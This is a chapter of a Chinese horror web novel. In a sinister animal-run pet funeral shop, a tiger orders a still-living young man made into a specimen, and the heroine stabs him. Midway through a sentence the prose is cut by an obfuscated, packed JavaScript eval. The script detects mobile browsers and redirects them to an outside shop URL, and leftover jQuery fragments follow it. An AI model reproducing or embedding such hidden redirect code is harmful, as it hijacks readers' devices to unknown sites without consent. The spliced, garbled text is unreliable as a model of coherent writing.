“第二条店规,”老山羊气得白了弗伦一眼,自说自话着竖起两根指头,“绝对不能与‘宠物’发生任何形式的情感联系。”
“你可以服务,可以安慰,可以送别。但你不能爱它们,不能心疼它们,不能同情它们。情感联系会模糊主仆的边界,而边界是本店存在的基础。”
老山羊合上账本,又竖起一根手指:“第三,每天必须完成至少一场告别仪式。如果连续三天没有完成,你们就会变成……”
它指了指角落里一排空笼子。
那些笼子像狗笼,但尺寸够装下一个成年人。笼门是铁制的,挂着铜锁,笼内零星散落着几块看不出属于什么物种的骨头。
离弗伦最近的笼子里有一条被扯断的项链,吊坠上刻着“永远的朋友”,想来吊坠的主人已经向着永远驾鹤西去了。
“别担心,只要遵守这三条基本规则,我们店对员工还是非常优待的。”老山羊露出并不和蔼的笑容。
“工作时间是晚上八点到凌晨四点。当四点的钟声响起的时候,不论仪式是否完成,顾客都会离开店铺。你们还有……”它低头看了一眼怀表,“……三分钟熟悉环境。八点整,第一位客人就要到了。”
老山羊转身走向楼梯,蹄子"嗒嗒"地踩上台阶。走到楼梯的尽头,它的脚步停顿了一下,但没有回头:“提醒你们一句,店里的棺材都是空的,如果听到棺材板响,那是你的幻觉。”
“空棺材是不会发出响声的。”
二楼的房门很快关上,伊塔已经驾轻就熟地翻起了柜台,约塔则向着“告别室”走去。
弗伦走到最近的一幅油画前。
画中,一只威风凛凛的狮子搂着一个穿着睡衣的女孩,背景是燃烧的夕阳。狮子的表情温柔,女孩则闭着眼睛,画面整体温馨而哀伤。
弗伦盯着油画看了很久。
“你在看什么?”约塔从上了锁的告别室走回来,顺着弗伦的目光看向油画。
如果不仔细看,油画并没什么异常,但检查纹理可以发现,油画的颜料有两层,笔触也并不均一,就好像……
有人在已经画好的油画上重新涂过。
如果按照隐藏的笔锋走线……弗伦眯起眼,聚焦视线,手指描摹着另一种画法的轮廓。
指尖之下,在下面那层画里,女孩是站着的,狮子是趴着的,女孩的手放在狮子的头顶。
这幅画从原本女孩儿是主人、狮子是宠物的形态,变成了现在看不出明显主仆关系的样子。
虽然不知道原因,但直觉告诉弗伦,这些油画或许并不像它们表现出来的这般温馨。
她正要检查其他油画,身后忽然响起沉闷的门铃声。
八点了。
木门被推开,一只孟加拉虎走进来。
它的身高大约两米二,肩宽超过门框,通体橙黄带黑色条纹,白色的腹毛从衣襟边缘露出来,进门时,整家店的空气都被压矮了半寸。
孟加拉虎军装外套上的铜扣绷得发亮,领口别着一枚金色勋章,腰间佩着带鞘的短刀。
最引人注意的,是它肩膀上扛着的巨大袋子,红色的液体打湿了白色的布匹,一滴滴落在地面,散发出一阵阵腥气。
孟加拉虎停在三人面前,将袋子甩在地上,指甲"唰"地伸出来又缩回去,琥珀色的瞳孔收缩成细线。
“你们是新来的服务生?”他的声音低沉郑重,不怒自威。
伊塔谨慎地点头:“是的,您好。”
一时间,三人都有点摸不着头脑——不是宠物殡葬店吗?怎么宠物活生生自己走进来了?
“我的宠物,他死了。”
孟加拉虎的声音是从喉咙深处滚出来的,带着砂纸摩擦铁皮般的粗粝:“我要你们把他做成标本,我要他永远站在我书房里。”
话落,它将袋子打开,尖锐的爪子掏出被裹尸布包裹着的宠物尸体。鲜血飞溅满地,浓重的血腥气瞬间席卷了整个店面。
弗伦伸手去掀裹尸布,她的动作很轻,指尖触到布料时,粗粝的亚麻纹理让她皱了皱眉——看起来,这只孟加拉虎根本不在乎自己的宠物,连裹尸布都用最粗劣的那种。
布掀开的瞬间,弗伦猛地倒退一步,却并不是因为难闻的气味。
而是因为那裹尸布下躺着一个人类青年。
好家伙,弗伦心想,这年头,老虎都开始养人玩儿了!
她到底重生在哪个鬼世界了?
弗伦重新上前一步,蹲下身去检查尸体。
青年人大概刚成年,男性,短发,高颧骨,嘴唇发紫,脖子上有一道勒痕,从左耳后一直延伸到锁骨,手腕上有被捆绑的淤青。
看样子,他是被勒死……等等!
“咚、咚、咚……”
极其微弱的搏动声从青年心口传出,他的胸腔维持着几乎看不出来的起伏,每隔七八秒才会极浅地呼吸一次。
这人还活着。
伊塔推了一下眼镜,镜片反光让她看不清表情。
她快步绕到前台侧面,蹲下来,指尖探到青年的颈动脉,搏动细弱得像蛛丝。
“他还有心跳。”伊塔抬起头看向孟加拉虎,“客人,您的‘宠物’还活着。我们需要医疗……”
“那更好。”孟加拉虎咧开嘴,虎牙像倒插的匕首,“活着做标本,血放干净了眼睛才亮。你们店里有解剖工具吧?把他做成标本,我付双倍。”
一时间,谁都没有说话,店铺内陷入诡异的沉默。
金雕面具下,弗伦的瞳孔收缩,看着青年那双半睁的眼睛。灰蓝色的虹膜像是被水泡过的玻璃珠,没有焦点,却在弗伦看过来的瞬间锁定了她。
青年张了张嘴,没有声音,但嘴唇仍不死心地颤动。弗伦俯身下去,耳廓贴近他的嘴唇,听到一串破碎的气音,和混着血沫的咕噜声。
伊塔见她久久没有动作,提醒道:“米欧?”
弗伦这才直起身,面具遮住
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17915011|213289||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了她脸上所有表情。
“伊塔,”她说,“麻烦你去拿工具。解剖刀、骨锯、填充棉、缝合针线……”
“全套。”
饶是伊塔也忍不住心脏狠狠一颤,她轻轻抓住弗伦的手腕,在她耳边压低声音:“米欧,这个青年人还活着,我们无法确定他是否是误入疫区的普通人。”
“或许你被格式化之后忘记了,但上级的要求一直是对于可能存活的未感染人类,清理者要尽自己所能施救……”
“伊塔。”弗伦终于抬起头,“我知道我在做什么。”
金雕面具的喙部铜片在灯光下反射出一道光痕,落在伊塔的镜片上,刺得她眯了一下眼。
伊塔站着没动。
弗伦又重复了一遍,声音更轻,但每个字都落在她的耳朵里:“麻烦你去拿一下解剖工具。”
伊塔的嘴唇抿成一条线。她看着奄奄一息的青年,良久,摇了摇头。
“抱歉,这违背了我的基础设定。”
弗伦没有继续强求,她拍了拍伊塔仍然抓着她的手,决定自己去拿工具。
“给你。”
身后,约塔将一个生了锈的铁盒扔到前台的桌子上,金属与木头相撞,发出刺耳的声响:“你要的东西都在这儿了。先说好,我对人体解剖结构一窍不通,要杀要剐全靠你了。”
他举着双手后撤一步。
伊塔震惊地看着他——这种时候,约塔的脸上居然挂着似有若无的笑容。
弗伦并没有发现,或者说,她根本不在意。她打开工具箱,将解剖刀、骨锯、止血钳、缝针、棉花卷整整齐齐排开,又把蜡布平摊在地上。
她把青年的遗体从裹尸布上抱起来,平放在蜡布中央。
青年的体温正在消退,但还没彻底凉透。
弗伦揭开他脖子上那道勒痕周边的衣领,皮肤上印着青紫色的绳索纹理,像一张倒置的河流地图。
虎将军靠在前台边上,两只虎掌交叠搭在腹前,尾巴在身后缓慢地画着圈。
它看起来像是来验收一件家具的买家,带着挑剔且满足的耐心。
“米欧,”伊塔仍然试图说服弗伦,她压低声音,用只有两个人能听到的音量说,“他还是暖的。你明白吗?他还有体温。我们还有时间。”
“你如果杀他,或许我们都会变成笼子里的骨头。”
弗伦没有回答。
她拿起解剖刀,目光凝在刀锋上,刀刃长十五厘米,钢材质地,锋利得能切断肌腱而不带一丝阻力。
他不会死得太痛苦。
弗伦走到青年身边蹲下,刀尖悬在他喉结上方三厘米处。
青年再次睁开了眼睛。瞳仁终于聚焦,灰蓝色的虹膜映出金雕面具,看不透其下的表情。
他极轻地说了几个单词,接着便认命一般,重新闭上双眼。
下一秒。
没有犹豫,没有颤抖,弗伦握着手术刀,对准颈动脉猛地刺下去。